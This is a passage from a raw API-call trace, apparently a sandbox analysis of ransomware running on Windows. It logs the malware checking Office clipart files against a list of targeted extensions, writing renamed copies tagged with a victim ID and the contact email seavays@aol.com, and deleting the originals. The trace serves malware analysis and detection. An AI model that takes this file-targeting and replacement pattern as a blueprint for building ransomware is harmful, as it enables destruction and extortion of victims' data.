(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0075.021] lstrlenW (lpString=".jpg") returned 4 [0075.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.022] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.022] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.023] GetLastError () returned 0x0 [0075.023] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0075.026] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0075.028] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.028] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.028] SetEndOfFile (hFile=0x378) returned 1 [0075.028] CloseHandle (hObject=0x378) returned 1 [0075.029] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.029] SetEndOfFile (hFile=0x390) returned 1 [0075.030] CloseHandle (hObject=0x390) returned 1 [0075.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0075.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.031] lstrlenW (lpString=".doc") returned 4 [0075.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.031] lstrlenW (lpString=".docx") returned 5 [0075.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.031] lstrlenW (lpString=".pdf") returned 4 [0075.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.031] lstrlenW (lpString=".xls") returned 4 [0075.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.031] lstrlenW (lpString=".xlsx") returned 5 [0075.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.032] lstrlenW (lpString=".ppt") returned 4 [0075.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.032] lstrlenW (lpString=".zip") returned 4 [0075.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.032] lstrlenW (lpString=".rar") returned 4 [0075.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.032] lstrlenW (lpString=".bz2") returned 4 [0075.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.032] lstrlenW (lpString=".7z") returned 3 [0075.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.032] lstrlenW (lpString=".dbf") returned 4 [0075.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.032] lstrlenW (lpString=".1cd") returned 4 [0075.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0075.032] lstrlenW (lpString=".jpg") returned 4 [0075.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.033] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.033] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.034] GetLastError () returned 0x0 [0075.034] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0075.638] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3b40, lpOverlapped=0x0) returned 1 [0075.639] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.639] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.639] SetEndOfFile (hFile=0x378) returned 1 [0075.639] CloseHandle (hObject=0x378) returned 1 [0075.639] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.640] SetEndOfFile (hFile=0x390) returned 1 [0075.641] CloseHandle (hObject=0x390) returned 1 [0075.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0075.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.642] lstrlenW (lpString=".doc") returned 4 [0075.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.642] lstrlenW (lpString=".docx") returned 5 [0075.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.642] lstrlenW (lpString=".pdf") returned 4 [0075.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.642] lstrlenW (lpString=".xls") returned 4 [0075.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.642] lstrlenW (lpString=".xlsx") returned 5 [0075.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.642] lstrlenW (lpString=".ppt") returned 4 [0075.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.642] lstrlenW (lpString=".zip") returned 4 [0075.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.642] lstrlenW (lpString=".rar") returned 4 [0075.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.642] lstrlenW (lpString=".bz2") returned 4 [0075.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.643] lstrlenW (lpString=".7z") returned 3 [0075.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.643] lstrlenW (lpString=".dbf") returned 4 [0075.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.643] lstrlenW (lpString=".1cd") returned 4 [0075.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0075.643] lstrlenW (lpString=".jpg") returned 4 [0075.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.644] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.644] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.644] GetLastError () returned 0x0 [0075.644] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0075.646] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0075.647] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.647] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.647] SetEndOfFile (hFile=0x378) returned 1 [0075.647] CloseHandle (hObject=0x378) returned 1 [0075.648] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.648] SetEndOfFile (hFile=0x390) returned 1 [0075.648] CloseHandle (hObject=0x390) returned 1 [0075.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0075.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.650] lstrlenW (lpString=".doc") returned 4 [0075.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.650] lstrlenW (lpString=".docx") returned 5 [0075.650] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.650] lstrlenW (lpString=".pdf") returned 4 [0075.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.650] lstrlenW (lpString=".xls") returned 4 [0075.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.650] lstrlenW (lpString=".xlsx") returned 5 [0075.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.651] lstrlenW (lpString=".ppt") returned 4 [0075.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.651] lstrlenW (lpString=".zip") returned 4 [0075.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.651] lstrlenW (lpString=".rar") returned 4 [0075.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.651] lstrlenW (lpString=".bz2") returned 4 [0075.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.651] lstrlenW (lpString=".7z") returned 3 [0075.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.651] lstrlenW (lpString=".dbf") returned 4 [0075.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.651] lstrlenW (lpString=".1cd") returned 4 [0075.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0075.651] lstrlenW (lpString=".jpg") returned 4 [0075.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.652] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.652] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.652] GetLastError () returned 0x0 [0075.652] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x88c, lpOverlapped=0x0) returned 1 [0075.654] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x890, lpOverlapped=0x0) returned 1 [0075.655] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.655] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.655] SetEndOfFile (hFile=0x378) returned 1 [0075.655] CloseHandle (hObject=0x378) returned 1 [0075.655] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.655] SetEndOfFile (hFile=0x390) returned 1 [0075.656] CloseHandle (hObject=0x390) returned 1 [0075.656] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.657] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 1 [0075.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString=".doc") returned 4 [0075.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString=".docx") returned 5 [0075.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.658] lstrlenW (lpString=".pdf") returned 4 [0075.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString=".xls") returned 4 [0075.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.658] lstrlenW (lpString=".xlsx") returned 5 [0075.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.658] lstrlenW (lpString=".ppt") returned 4 [0075.658] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString=".zip") returned 4 [0075.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.658] lstrlenW (lpString=".rar") returned 4 [0075.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString=".bz2") returned 4 [0075.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString=".7z") returned 3 [0075.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString=".dbf") returned 4 [0075.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString=".1cd") returned 4 [0075.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0075.658] lstrlenW (lpString=".jpg") returned 4 [0075.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.659] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.659] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.660] GetLastError () returned 0x0 [0075.660] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x112c, lpOverlapped=0x0) returned 1 [0075.978] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1130, lpOverlapped=0x0) returned 1 [0075.979] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0075.980] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0075.980] SetEndOfFile (hFile=0x378) returned 1 [0075.994] CloseHandle (hObject=0x378) returned 1 [0075.994] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.995] SetEndOfFile (hFile=0x390) returned 1 [0075.995] CloseHandle (hObject=0x390) returned 1 [0075.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0075.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.997] lstrlenW (lpString=".doc") returned 4 [0075.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.997] lstrlenW (lpString=".docx") returned 5 [0075.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.997] lstrlenW (lpString=".pdf") returned 4 [0075.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.997] lstrlenW (lpString=".xls") returned 4 [0075.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.997] lstrlenW (lpString=".xlsx") returned 5 [0075.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.997] lstrlenW (lpString=".ppt") returned 4 [0075.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.997] lstrlenW (lpString=".zip") returned 4 [0075.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.997] lstrlenW (lpString=".rar") returned 4 [0075.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.997] lstrlenW (lpString=".bz2") returned 4 [0075.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.997] lstrlenW (lpString=".7z") returned 3 [0075.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.998] lstrlenW (lpString=".dbf") returned 4 [0075.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.998] lstrlenW (lpString=".1cd") returned 4 [0075.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0075.998] lstrlenW (lpString=".jpg") returned 4 [0075.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.998] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0075.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0075.999] GetLastError () returned 0x0 [0075.999] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xcd6, lpOverlapped=0x0) returned 1 [0076.001] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xce0, lpOverlapped=0x0) returned 1 [0076.002] ReadFile (in: hFile=0x390, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0076.002] WriteFile (in: hFile=0x378, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0076.002] SetEndOfFile (hFile=0x378) returned 1 [0076.002] CloseHandle (hObject=0x378) returned 1 [0076.002] 